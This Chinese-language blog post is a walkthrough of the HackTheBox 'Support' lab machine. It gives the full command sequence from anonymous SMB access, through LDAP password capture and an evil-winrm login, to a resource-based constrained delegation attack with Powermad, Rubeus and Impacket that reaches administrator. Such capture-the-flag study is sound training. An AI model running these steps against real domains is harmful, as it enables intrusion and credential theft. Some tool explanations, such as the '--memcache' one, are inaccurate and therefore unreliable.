HackTheBox:Support

Uncategorized
2.9k words

运行靶机,获得IP:10.10.11.174
用nmap对该ip进行全端口扫描,得到以下关键端口信息,大体能推测这是一台仿DC的靶机

因为445端口是开着的,我们先尝试用smbclient连一下,看看有没有empty password

1
2
3
1. smbclient -L 10.10.11.174
2. smbclient \\\\10.10.11.174\\support-tools
3. get UserInfo.exe.zip

这里是在support-tools 的共享下发现了空密码,也是成功下载了UserInfo.exe.zip

下载下来之后,咱们把UserInfo.exe.zip解压到特定目录下,用file命令查看下该文件属性,得到以下信息,发现是.NET程序,按照常理来讲,这个时候我们的流程应该是用dnspy做逆向查看下这个文件究竟是何方神圣,然后欢欣雀跃的发现这是一个ldap通信程序,接着再拿gpt写解密脚本把ldap服务器的用户和密码都给破译出来,链接上dc的ldap服务再接着做渗透。但博主的逆向水平实在薄弱,咱们直接上wireshark抓ldap的绑定包查看用户密码也是可以的(ldap协议绑定包里不加密)

1
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

因为是exe程序,linux下没法直接运行,这里是用了wine来启动的(还挺难配)。在终端输入
wine UserInfo.exe -v find -first test0的同时,用wiresharketh0的包,这里是先抓到了他的dns包,因为这个dns服务器不在公网,我们没办法通过这个域名解析获得到ip,需要我们自己去/etc/hostssupport.htb配置一下。这里还可以用dig顺便挖一下历史解析记录。
dig @10.10.11.174 +short support.htb any

把这个东西10.10.11.174 dc.support.hub support.htb添加进去hosts,然后用wireshark进行第二次抓包,如图筛选出来ldap协议的绑定包

用户:support\ldap 密码:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
这里就已经可以连上ldap服务了,两条路子,可以用ldapserch来连,也可以用Activity Directory Studio来连,我们这里就用 Activity Directory Studio来连了

注意下 DN 这里的填写,然后把刚才拿到的密码拿过来链接即可。

链接上以后,按DC=support,DC=htb -> CN=Users的结构查找到了CN=support 这个项,发现Info里面竟然有点东西,猜测可能是密码,并且因为support属于Remote Management组,这里可以尝试用evil-winrm来链接一下
info:Ironside47pleasure40Watchful

(下面是关于winrm的一些介绍,我之前也没了解过这里)

1
2
3
4
WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称,是 Web 服务管理标准 WebService-Management 协议的 Microsoft 实现。该协议是基于简单对象访问协议(SOAP)的、防火墙友好的标准协议,允许来自不同供应商的硬件和操作系统能够互操作。  
WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。并且,WinRM 默认情况下支持 Kerberos 和 NTLM [身份验证](https://cloud.tencent.com/product/mfas?from=10680)以及基本身份验证,初始身份验证后,WinRM 会话将使用 AES 加密保护。使用 WinRM 服务需要拥有管理员级别的权限。
在现代 Windows 系统中,WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。
使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台[服务器](https://cloud.tencent.com/product/cvm?from=10680),因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。这样的管理服务当然不会被攻击者错过,在内网渗透中,我们可以使用 WinRM 服务进行横向移动,并且使用这种远程连接进行横向移动不容易被察觉到,也不会占用远程连接数。

在终端输入以下命令evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb,直接就是链接成功拿下用户权限,这里几步并一步,在桌面上读取到了user的flag,跨步进入提权阶段。

到了提权阶段,什么都是新鲜东西,看了看别的师傅写的wp,这里是用到了一个叫SharpHound的工具,GPT的介绍大体如下

1
2
3
4
5
6
7
8
9
10
11
12
SharpHound是BloodHound项目中的一个工具,用于收集Windows Active Directory环境中的信息,帮助进行网络攻击路径分析和权限提升。

SharpHound使用了BloodHound的数据收集库,通过调用Windows Management Instrumentation (WMI) 和其他技术来收集域控制器、用户、组、计算机等对象的信息,并生成BloodHound可识别的CSV格式的数据。这些数据可以导入到BloodHound中进行可视化分析,以发现潜在的攻击路径和权限提升机会。

在权限提升方面,SharpHound的主要作用是帮助识别Active Directory中的横向移动和权限扩展路径。通过收集信息,包括域控制器、用户、组、计算机、委派关系等,SharpHound可以帮助渗透测试人员或安全评估团队了解目标网络的拓扑结构、用户权限以及推断出可能存在的权限提升机会。

通过使用SharpHound和BloodHound可以实现以下目标:

1. 发现跳板(Pivot)机会:查找跨不同系统和域之间的信任关系,以寻找以后进行纵深渗透的跳板机会。
2. 识别特权用户:识别具有高权限或敏感特权的用户账户,用于后续攻击。
3. 发现无约束委派(Unconstrained Delegation):识别存在无约束委派的对象,可能导致权限提升攻击。
4. 分析访问控制列表(ACLs):定位弱或错误配置的访问权限,以便进行权限提升或横向渗透。

先是把SharpHound.exe上传到DC主机上

再用SharpHound.exe对DC主机开始信息搜集,用到的命令如下,各个选项的解释也给附上了

./SharpHound.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
1. --memcache : 启用Memcached收集方法,用于从目标计算机中收集数据。Memcached是一种常用的缓存技术,可以在网络攻击中用于获取敏感信息。
2. -c all:设置数据收集方法为”all”,即执行完整数据收集。此选项将包括跳板、组成员关系、本地管理员、用户有权访问的计算机等信息。
3. -d SUPPORT.HTB:指定目标域为”SUPPORT.HTB”。将”SUPPORT.HTB”替换为你要收集信息的目标域。
4. DomainController 127.0.0.1:指定用于数据收集的域控制器的IP地址

输入完之后会获得一个信息集合包,我们把他下载到本地进行分析

分析的工具用到的是BloodHound,先找个终端把neo4j给启动了,之后再找个终端去把BloodHound给启动了,密码是我们自己设置的。

把刚拿到的文件拖进来分析后得到了一个非常酷炫的界面,选择 Analysis -> Shortest Paths ->Shortest Paths to Unconstrained Delegation System

得到了这么一副图,我们会发现SUPPORT.HTB域中的SHARED SUPPORT ACCOUNTS@SUPPORT.HTB组对DC.SUPPORT.HTBGenericAll权限。而我们可以访问的support用户帐户正好是SHARED SUPPORT ACCOUNTS@SUPPORT.HTB组的成员。

以下是一些常见的权限清单。

  • GenericAll : 对对象具有完全权限(例如,添加用户到组或重置用户密码)。
  • GenericWrite : 更新对象的属性(例如,登录脚本)。
  • WriteOwner : 将对象所有者更改为攻击者控制的用户以接管对象。
  • WriteDACL : 修改对象的访问控制项(ACEs),并赋予攻击者对对象的完全控制权限。
  • AllExtendedRights : 具备添加用户到组或重置密码的能力。
  • ForceChangePassword : 具备更改用户密码的能力。
  • Self (Self-Membership) : 具备将自身添加到组中的能力。

因为后续的利用涉及到 基于资源的约束委派攻击,这里简单的介绍一下流程,详情可以看下面这篇文章,感觉讲的非常nice。
Kerberos 基于资源的约束委派:计算机对象接管 - 红队说明 (ired.team)

流程分析

  • 获取目标主机上一个具有高权限的账号A,以达到修改目标主机配置的目的。
  • 利用账号A创建一个计算机对象并为其设置SPN(SPN是一个用于在Kerberos身份验证中标识和验证服务的机制,具有SPN的帐户通常用于充当服务或应用程序的身份)
  • 利用账号A修改目标主机配置(改 msDS-AllowedToActOnBehalfOfOtherldentity 属性),配置基于资源的约束委派,允许刚才创建的计算机对象成为万能委派账号,模拟任何用户(这里要模拟的是administarator用户)
  • 使用Rubeus工具执行完整的S4U攻击(S4U2Self和S4U2Proxy,攻击者通过S4U2Self请求获得了对管理员的访问权限,然后通过S4U2Proxy请求了对受害者主机的访问权限)
  • 通过哈希传递登录我们创建的计算机对象,再通过计算机对象代理administrator,实现提权。

附上之后的命令集,先把创建的计算机对象添加到AD里
然后再使用“约束委派”权限对计算机对象进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 上传Powermad和Rubeus工具到目标计算机上。
# 这两个工具将用于执行后续的攻击步骤。
upload /home/user/Tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/Tools/Ghostpack-CompiledBinaries/Rubeus.exe r.exe

# 导入Powermad模块。
# 这个模块包含了执行特权升级攻击所需的功能。
Import-Module ./pm.ps1

# 设置变量,用于指定伪造的计算机对象名称和目标计算机名称。
Set-Variable -Name "FakePC" -Value "FAKE01"
Set-Variable -Name "targetComputer" -Value "DC"

# 使用Powermad,将新伪造的计算机对象添加到Active Directory(AD)中。
# 这个伪造计算机对象将用于后续的攻击步骤。
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# 使用内置的AD模块,为新伪造计算机对象授予受限委派权限。

Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')

# 使用内置的AD模块,检查上一条命令是否成功。
# 确保伪造计算机对象已被授予受限委派权限。
Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount


1
2
# 使用Rubeus生成新伪造计算机对象的密码哈希值,用于下一步
./r.exe hash /password:123456 /user:FAKE01$ /domain:support.htb

链接,提权,pwn!

1
2
3
4
5
6
7
# 在Kali上进行以下步骤。 
# 使用Impacket工具的getST.py生成一个缓存的TGT,并使用KERB5CCNAME变量传递缓存文件,以便后续请求所需的服务。。
/home/user/Tools/impacket/examples/getST.py support.htb/FAKE01 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 35CE465C01BC1577DE3410452165E5244779C17B64E6D89459C1EC3C8DAA362B
# 设置本地变量KERB5CCNAME,以便传递TGT缓存文件,用于后续请求的服务。
export KRB5CCNAME=administrator.ccache
# 使用smbexec.py通过SMB协议连接到服务器,使用刚生成的TGT以administrator用户身份登录。
smbexec.py support.htb/administrator@dc.support.htb -no-pass -k